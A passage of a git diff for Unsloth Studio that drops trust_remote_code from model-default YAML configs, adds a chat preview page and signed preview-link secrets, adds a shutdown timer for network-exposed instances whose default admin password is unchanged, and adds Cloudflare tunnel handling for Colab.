log_frequency: 10 inference: - trust_remote_code: false temperature: 0.3 min_p: 0.15 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml index 663ce87d5f..2c44c91eab 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: true max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -47,7 +46,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: true temperature: 1.0 top_p: 1.0 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml index b7587bbd91..e1fbc08e4d 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: true max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -49,7 +48,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: true temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml index cc5d130bfa..2abdfd8ac3 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml @@ -2,7 +2,6 @@ # Based on bert_classification.ipynb training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 1 num_epochs: 0 @@ -41,6 +40,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml index 883761675f..5a3c4abb48 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml @@ -6,7 +6,6 @@ audio_type: snac training: - trust_remote_code: false eval_steps: 0 max_seq_length: 2048 # num_epochs: 4 @@ -48,7 +47,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml index 35c850c71f..a6ce27620f 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: TinyLlama/TinyLlama-1.1B-intermediate-step-1431k-3T training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 1 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml index 9140878e0e..050774a8cd 100644 --- a/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml +++ b/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml @@ -6,7 +6,6 @@ audio_type: whisper audio_input: true training: - trust_remote_code: false eval_steps: 5 max_seq_length: 448 # num_epochs: 4 @@ -41,6 +40,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml index 1088df7796..c574714d78 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: "unsloth/Phi-3-medium-4k-instruct-bnb-4bit", "microsoft/Phi-3-medium-4k-instruct", training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml index 79812a74c4..e803c842b3 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: "unsloth/Phi-3.5-mini-instruct-bnb-4bit", "microsoft/Phi-3.5-mini-instruct" training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml index aaa4feac45..4de3d9437d 100644 --- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml +++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.8 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml index fa7b9c4e8b..bb75b3ce52 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml @@ -4,7 +4,6 @@ # MoE model - includes gate_up_proj for MoE layers training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -46,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml index 3e64a6ca48..c305d328c2 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2-7B-bnb-4bit, Qwen/Qwen2-7B training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml index 894751bed1..6cee3d0949 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml index 1d37cc9829..20ba81df2c 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2.5-1.5B-Instruct-unsloth-bnb-4bit, Qwen/Qwen2.5-1.5B-Instruct, unsloth/Qwen2.5-1.5B-Instruct-bnb-4bit training: - trust_remote_code: false max_seq_length: 4096 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml index 99f3a66e23..9930786c24 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2.5-7B-unsloth-bnb-4bit, Qwen/Qwen2.5-7B, unsloth/Qwen2.5-7B-bnb-4bit training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml index c48b943cba..775c7ce08f 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2.5-Coder-1.5B-Instruct-bnb-4bit, Qwen/Qwen2.5-Coder-1.5B-Instruct training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml index 830bfcf1cb..856db0c1b3 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml index db88c3b033..5900392547 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml @@ -3,7 +3,6 @@ # Also applies to: unsloth/Qwen2.5-Coder-7B-Instruct, Qwen/Qwen2.5-Coder-7B-Instruct training: - trust_remote_code: false max_seq_length: 32768 # num_epochs: 4 num_epochs: 0 @@ -42,6 +41,3 @@ logging: enable_tensorboard: false tensorboard_dir: "runs" log_frequency: 10 - -inference: - trust_remote_code: false diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml index cb9bcb104b..bd54b1d015 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth notebook training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 1.5 min_p: 0.1 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml index 13f066a27d..9feb6dcaae 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 1024 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml index 87c042705b..a40eace253 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml index a8ecbb4365..c130771c32 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml index 485dd7a111..2fb3a95c30 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml @@ -4,7 +4,6 @@ # MoE model - includes gate_up_proj for MoE layers training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -46,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml index 0de64d50ae..152f4ae06a 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml @@ -4,7 +4,6 @@ # added inference parameters from Ollama training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_k: 20 top_p: 0.95 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml index dc5940d58c..94fe000708 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.7 top_p: 0.80 top_k: 20 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml index 6392ee0ae9..3c325485d2 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -45,7 +44,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_p: 0.95 top_k: 20 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml index ef52fad763..5b47c3bdd2 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -43,7 +42,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.7 top_p: 0.8 top_k: 20 diff --git a/studio/backend/assets/preview_page.html b/studio/backend/assets/preview_page.html new file mode 100644 index 0000000000..36483a824c --- /dev/null +++ b/studio/backend/assets/preview_page.html @@ -0,0 +1,403 @@ + + + + + + __TITLE__ - Unsloth + + + +

+ Unsloth__TITLE__ +
+
+
+

Chat with your model

+

Fine-tuned with Unsloth

+
+
+
+
+
+
+ + +
+
Served by Unsloth Studio
+
+
+ + + diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py index 9dd56489eb..b13cd1c851 100644 --- a/studio/backend/auth/authentication.py +++ b/studio/backend/auth/authentication.py @@ -143,6 +143,17 @@ async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depend ) +async def authenticated_via_api_key( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> bool: + """True when the caller used an sk-unsloth API key, not a UI session JWT. + + Lets routes treat programmatic API callers differently from the Studio UI + (e.g. refuse a teardown the UI would allow). + """ + return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX)) + + async def get_current_subject_allow_password_change( credentials: HTTPAuthorizationCredentials = Depends(security), ) -> str: diff --git a/studio/backend/auth/bootstrap_timeout.py b/studio/backend/auth/bootstrap_timeout.py new file mode 100644 index 0000000000..728433dc54 --- /dev/null +++ b/studio/backend/auth/bootstrap_timeout.py @@ -0,0 +1,145 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Auto-shutdown for an exposed first-run Studio whose admin password is unchanged. + +On a fresh install the seeded bootstrap admin password stays a valid login +credential until first login changes it. When the web UI is put on the network +(``--secure`` / ``0.0.0.0``) and nobody completes that first-login change within +a deadline, tear Studio down so a fresh, unconfigured instance does not stay +publicly reachable indefinitely. If the password was changed, Studio keeps +running. + +Scope: web UI launches only (never ``--api-only``, which authenticates by API +key rather than the admin password, and never Colab). Configurable via +``UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT`` (seconds; default 3600; ``0`` disables). +""" + +import os +import sys +import threading + +BOOTSTRAP_TIMEOUT_ENV_VAR = "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT" +DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS = 3600 + + +def bootstrap_timeout_seconds(env = None) -> int: + """Resolve the deadline in seconds. ``0`` (or invalid/negative) disables it. + + A malformed value falls back to the default rather than disabling, so a typo + cannot silently remove the protection. + """ + env = os.environ if env is None else env + raw = env.get(BOOTSTRAP_TIMEOUT_ENV_VAR) + if raw is None or raw.strip() == "": + return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS + try: + value = int(raw) + except ValueError: + return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS + return value if value > 0 else 0 + + +def _is_exposed_bind(host: str, secure: bool) -> bool: + """True when this launch puts the web UI on the network (tunnel or non-loopback).""" + if secure: + return True + if host in ("0.0.0.0", "::"): + return True + try: + from utils.host_policy import is_external_host + except Exception: + return False + return bool(is_external_host(host)) + + +def should_arm_bootstrap_timeout( + *, + host: str, + secure: bool, + api_only: bool, + frontend_served: bool, + is_colab: bool, + requires_change: bool, + timeout_seconds: int, +) -> bool: + """Whether to arm the deadline: only for an exposed web UI whose seeded admin + password is still unchanged. Pure decision (no I/O) for cheap unit testing.""" + if timeout_seconds <= 0: + return False + if api_only or not frontend_served or is_colab: + return False + if not requires_change: + return False + return _is_exposed_bind(host, secure) + + +def _format_duration(seconds: int) -> str: + """Human-friendly duration for the shutdown message (seconds under a minute).""" + + def _plural(n: int, unit: str) -> str: + return f"{n} {unit}{'' if n == 1 else 's'}" + + if seconds < 60: + return _plural(seconds, "second") + minutes, rem = divmod(seconds, 60) + label = _plural(minutes, "minute") + if rem: + label += f" {_plural(rem, 'second')}" + return label + + +def enforce_bootstrap_password_deadline( + storage, + trigger_shutdown, + *, + timeout_seconds: int, + logger = None, +) -> bool: + """Deadline handler: shut down iff the seeded admin password is still unchanged. + + Returns True if it shut Studio down, False if it left it running (the + password was changed in time). + """ + try: + still_default = storage.requires_password_change(storage.DEFAULT_ADMIN_USERNAME) + except Exception: + return False + if not still_default: + return False # password changed in time -> leave Studio running + + message = ( + "\nUnsloth Studio was exposed on the network but its default admin " + f"password was not changed within {_format_duration(timeout_seconds)}. " + "Shutting down to avoid leaving an unsecured public instance running.\n" + "Next time, sign in and change the password on first login, or set " + f"{BOOTSTRAP_TIMEOUT_ENV_VAR}=0 to disable this timeout." + ) + if logger is not None: + logger.warning(message) + print(message, file = sys.stderr, flush = True) + try: + trigger_shutdown() + except Exception as e: # shutdown is best-effort; never raise from the timer + if logger is not None: + logger.warning("Bootstrap-timeout shutdown failed: %s", e) + return True + + +def arm_bootstrap_timeout( + storage, + trigger_shutdown, + *, + timeout_seconds: int, + logger = None, +) -> "threading.Timer": + """Start a daemon timer that enforces the deadline. Returns the Timer.""" + timer = threading.Timer( + timeout_seconds, + enforce_bootstrap_password_deadline, + args = (storage, trigger_shutdown), + kwargs = {"timeout_seconds": timeout_seconds, "logger": logger}, + ) + timer.daemon = True + timer.start() + return timer diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py index 796d03ff68..a0da2b2096 100644 --- a/studio/backend/auth/storage.py +++ b/studio/backend/auth/storage.py @@ -110,6 +110,17 @@ def get_connection() -> sqlite3.Connection: except OSError: pass conn.row_factory = sqlite3.Row + # WAL lets token reads run concurrently with refresh-token writes; + # busy_timeout bounds lock waits. Matches the other Studio SQLite stores. + # Set busy_timeout first: switching journal_mode needs a lock, so if a + # refresh-token write already holds one, journal_mode=WAL raises SQLITE_BUSY; + # with busy_timeout already in effect it waits instead of failing and leaving + # this connection on SQLite's default zero lock wait. + try: + conn.execute("PRAGMA busy_timeout=5000") + conn.execute("PRAGMA journal_mode=WAL") + except sqlite3.Error: + pass conn.execute( """ CREATE TABLE IF NOT EXISTS auth_user ( @@ -270,6 +281,63 @@ def compute_identity_proof(nonce: bytes, host: str, port: int) -> str: return hmac.new(get_or_create_identity_secret(), msg, hashlib.sha256).hexdigest() +# Capability secret for public ``/p`` preview share links. HMAC(secret, ref) +# turns the deterministic preview ref into an unguessable bearer capability, so a +# guessed run/checkpoint name can't reach inference. Dedicated (not the per-user +# JWT secret) so rotating it revokes every shared link without touching logins. +_PREVIEW_LINK_SECRET_DB_KEY = "preview_link_secret" +_preview_link_secret_cache: Optional[bytes] = None + + +def get_or_create_preview_link_secret() -> bytes: + """Return the preview-link signing secret (hex 32-byte row in app_secrets), creating it once.""" + global _preview_link_secret_cache + if _preview_link_secret_cache is not None: + return _preview_link_secret_cache + + conn = get_connection() + try: + row = conn.execute( + "SELECT value FROM app_secrets WHERE key = ?", + (_PREVIEW_LINK_SECRET_DB_KEY,), + ).fetchone() + if row is None: + conn.execute( + "INSERT OR IGNORE INTO app_secrets (key, value) VALUES (?, ?)", + (_PREVIEW_LINK_SECRET_DB_KEY, secrets.token_hex(32)), + ) + conn.commit() + row = conn.execute( + "SELECT value FROM app_secrets WHERE key = ?", + (_PREVIEW_LINK_SECRET_DB_KEY,), + ).fetchone() + secret = bytes.fromhex(row["value"]) + finally: + conn.close() + + _preview_link_secret_cache = secret + return secret + + +def rotate_preview_link_secret() -> bytes: + """Rotate the preview-link secret, immediately revoking every outstanding ``/p`` share link.""" + global _preview_link_secret_cache + new_secret_hex = secrets.token_hex(32) + conn = get_connection() + try: + conn.execute( + "INSERT OR REPLACE INTO app_secrets (key, value) VALUES (?, ?)", + (_PREVIEW_LINK_SECRET_DB_KEY, new_secret_hex), + ) + conn.commit() + finally: + conn.close() + + secret = bytes.fromhex(new_secret_hex) + _preview_link_secret_cache = secret + return secret + + _API_KEY_PBKDF2_ITERATIONS = 100_000 DESKTOP_SECRET_PREFIX = "desktop-" _DESKTOP_SECRET_HASH_KEY = "desktop_secret_hash" diff --git a/studio/backend/colab.py b/studio/backend/colab.py index ba46c52a6a..dd274399bc 100644 --- a/studio/backend/colab.py +++ b/studio/backend/colab.py @@ -103,24 +103,132 @@ def show_link(port: int = 8888, *, _url: "str | None" = None): display(HTML(html)) -def _is_studio_healthy(port: int, timeout: float = 2.0) -> bool: - """Return True if a Studio backend is already answering health checks on *port*.""" - import urllib.request +def _bootstrap_password_pending() -> bool: + """True while the default admin still owes a bootstrap-password change. + + While pending, main.py injects that password into same-origin GETs, and a public + tunnel GET (no Origin) reads as same-origin, so sharing the link would leak admin + access. Fails safe to pending if the state cannot be read. + """ try: - with urllib.request.urlopen(f"http://localhost:{port}/api/health", timeout = timeout): - return True + from auth.storage import requires_password_change, DEFAULT_ADMIN_USERNAME + return bool(requires_password_change(DEFAULT_ADMIN_USERNAME)) + except Exception as e: + logger.info(f"Could not check admin password state ({e}); refusing tunnel to be safe.") + return True + + +def start_cloudflare_tunnel(port: int) -> "str | None": + """Open a shareable Cloudflare quick tunnel to localhost:*port*, or None. + + run_server suppresses the tunnel on Colab by design, so we start it directly. + Refused while the bootstrap password is pending; any failure collapses to None + and the Colab proxy still works. + """ + if _bootstrap_password_pending(): + logger.warning( + "Cloudflare link not started: the admin account still has its temporary " + "bootstrap password, which is exposed to anyone who can load the page. " + "Open Studio in this tab, log in and change the admin password, then re-run " + "start(cloudflare=True) to get the shareable link." + ) + return None + try: + from cloudflare_tunnel import start_studio_tunnel + except Exception as e: + logger.info(f"Cloudflare tunnel unavailable ({e}); using Colab proxy only.") + return None + try: + url = start_studio_tunnel(port) + except Exception as e: + logger.info(f"Cloudflare tunnel failed to start ({e}); using Colab proxy only.") + return None + # Success is logged by _show_and_embed; note only misses here. + if not url: + logger.info("Cloudflare tunnel did not produce a URL; using Colab proxy only.") + return url + + +def _publish_cloudflare_url(cloudflare_url: "str | None") -> None: + """Publish a directly-started tunnel URL onto app.state so /api/health advertises it. + + run_server only sets this when it opens the tunnel itself, which it skips on Colab, + so we set it here. Otherwise the frontend's API examples fall back to an + unreachable server_url. Best-effort. + """ + if not cloudflare_url: + return + try: + from main import app as _studio_app + _studio_app.state.cloudflare_url = cloudflare_url + except Exception as e: + logger.info(f"Could not publish Cloudflare URL to /api/health ({e}).") + + +def _stop_cloudflare_tunnel() -> None: + """Best-effort teardown of the Cloudflare tunnel started by start_cloudflare_tunnel.""" + try: + from cloudflare_tunnel import stop_studio_tunnel + stop_studio_tunnel() + except Exception: + pass + # Stop /api/health advertising a dead tunnel. + try: + from main import app as _studio_app + _studio_app.state.cloudflare_url = None + except Exception: + pass + + +def 